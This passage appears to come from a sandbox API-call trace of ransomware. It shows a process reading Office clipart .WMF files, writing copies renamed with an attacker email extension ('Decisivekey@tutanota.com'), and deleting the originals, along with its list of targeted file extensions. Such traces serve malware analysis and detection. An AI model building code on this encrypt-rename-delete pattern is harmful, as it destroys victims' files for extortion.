(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.662] lstrlenW (lpString=".ppt") returned 4 [0217.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.662] lstrlenW (lpString=".zip") returned 4 [0217.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.662] lstrlenW (lpString=".rar") returned 4 [0217.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString=".bz2") returned 4 [0217.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString=".7z") returned 3 [0217.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.662] lstrlenW (lpString=".dbf") returned 4 [0217.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.662] lstrlenW (lpString=".1cd") returned 4 [0217.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0217.662] lstrlenW (lpString=".jpg") returned 4 [0217.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.662] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4024) returned 1 [0217.662] CloseHandle (hObject=0x1e4) returned 1 [0217.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0217.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.663] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.663] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.663] GetLastError () returned 0x0 [0217.663] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0218.058] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0218.059] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.059] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.059] SetEndOfFile (hFile=0x1f8) returned 1 [0218.059] CloseHandle (hObject=0x1f8) returned 1 [0218.059] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.059] SetEndOfFile (hFile=0x1e4) returned 1 [0218.060] CloseHandle (hObject=0x1e4) returned 1 [0218.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0218.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.060] lstrlenW (lpString=".doc") returned 4 [0218.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.060] lstrlenW (lpString=".docx") returned 5 [0218.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.061] lstrlenW (lpString=".pdf") returned 4 [0218.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString=".xls") returned 4 [0218.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.061] lstrlenW (lpString=".xlsx") returned 5 [0218.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.061] lstrlenW (lpString=".ppt") returned 4 [0218.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.061] lstrlenW (lpString=".zip") returned 4 [0218.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.061] lstrlenW (lpString=".rar") returned 4 [0218.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString=".bz2") returned 4 [0218.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString=".7z") returned 3 [0218.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.061] lstrlenW (lpString=".dbf") returned 4 [0218.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.061] lstrlenW (lpString=".1cd") returned 4 [0218.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0218.061] lstrlenW (lpString=".jpg") returned 4 [0218.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.061] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1330) returned 1 [0218.061] CloseHandle (hObject=0x1e4) returned 1 [0218.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0218.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0218.062] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.062] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.062] GetLastError () returned 0x0 [0218.062] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x532, lpOverlapped=0x0) returned 1 [0218.073] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x540, lpOverlapped=0x0) returned 1 [0218.074] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.074] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.074] SetEndOfFile (hFile=0x1f8) returned 1 [0218.074] CloseHandle (hObject=0x1f8) returned 1 [0218.074] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.074] SetEndOfFile (hFile=0x1e4) returned 1 [0218.075] CloseHandle (hObject=0x1e4) returned 1 [0218.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0218.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.075] lstrlenW (lpString=".doc") returned 4 [0218.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.075] lstrlenW (lpString=".docx") returned 5 [0218.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.075] lstrlenW (lpString=".pdf") returned 4 [0218.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.075] lstrlenW (lpString=".xls") returned 4 [0218.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.075] lstrlenW (lpString=".xlsx") returned 5 [0218.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.075] lstrlenW (lpString=".ppt") returned 4 [0218.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.075] lstrlenW (lpString=".zip") returned 4 [0218.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.075] lstrlenW (lpString=".rar") returned 4 [0218.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.076] lstrlenW (lpString=".bz2") returned 4 [0218.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.076] lstrlenW (lpString=".7z") returned 3 [0218.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.076] lstrlenW (lpString=".dbf") returned 4 [0218.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.076] lstrlenW (lpString=".1cd") returned 4 [0218.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0218.076] lstrlenW (lpString=".jpg") returned 4 [0218.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.078] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1444) returned 1 [0218.078] CloseHandle (hObject=0x1f8) returned 1 [0218.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0218.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.079] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.079] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.079] GetLastError () returned 0x0 [0218.079] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0218.084] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0218.085] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.085] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.085] SetEndOfFile (hFile=0x1d8) returned 1 [0218.086] CloseHandle (hObject=0x1d8) returned 1 [0218.086] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.086] SetEndOfFile (hFile=0x1f8) returned 1 [0218.087] CloseHandle (hObject=0x1f8) returned 1 [0218.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0218.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.087] lstrlenW (lpString=".doc") returned 4 [0218.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.087] lstrlenW (lpString=".docx") returned 5 [0218.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.087] lstrlenW (lpString=".pdf") returned 4 [0218.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.087] lstrlenW (lpString=".xls") returned 4 [0218.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.087] lstrlenW (lpString=".xlsx") returned 5 [0218.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.088] lstrlenW (lpString=".ppt") returned 4 [0218.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.088] lstrlenW (lpString=".zip") returned 4 [0218.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.088] lstrlenW (lpString=".rar") returned 4 [0218.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.088] lstrlenW (lpString=".bz2") returned 4 [0218.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.088] lstrlenW (lpString=".7z") returned 3 [0218.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.088] lstrlenW (lpString=".dbf") returned 4 [0218.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.088] lstrlenW (lpString=".1cd") returned 4 [0218.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0218.088] lstrlenW (lpString=".jpg") returned 4 [0218.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.089] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=7974) returned 1 [0218.089] CloseHandle (hObject=0x1f8) returned 1 [0218.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0218.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.089] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.089] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.090] GetLastError () returned 0x0 [0218.090] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0218.093] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0218.094] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.094] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.094] SetEndOfFile (hFile=0x1d8) returned 1 [0218.095] CloseHandle (hObject=0x1d8) returned 1 [0218.095] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.095] SetEndOfFile (hFile=0x1f8) returned 1 [0218.096] CloseHandle (hObject=0x1f8) returned 1 [0218.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0218.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.096] lstrlenW (lpString=".doc") returned 4 [0218.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.096] lstrlenW (lpString=".docx") returned 5 [0218.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.096] lstrlenW (lpString=".pdf") returned 4 [0218.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.096] lstrlenW (lpString=".xls") returned 4 [0218.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.096] lstrlenW (lpString=".xlsx") returned 5 [0218.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.096] lstrlenW (lpString=".ppt") returned 4 [0218.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.096] lstrlenW (lpString=".zip") returned 4 [0218.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.097] lstrlenW (lpString=".rar") returned 4 [0218.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.097] lstrlenW (lpString=".bz2") returned 4 [0218.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.097] lstrlenW (lpString=".7z") returned 3 [0218.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.097] lstrlenW (lpString=".dbf") returned 4 [0218.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.097] lstrlenW (lpString=".1cd") returned 4 [0218.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0218.097] lstrlenW (lpString=".jpg") returned 4 [0218.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.097] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2378) returned 1 [0218.097] CloseHandle (hObject=0x1f8) returned 1 [0218.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0218.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.098] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.098] 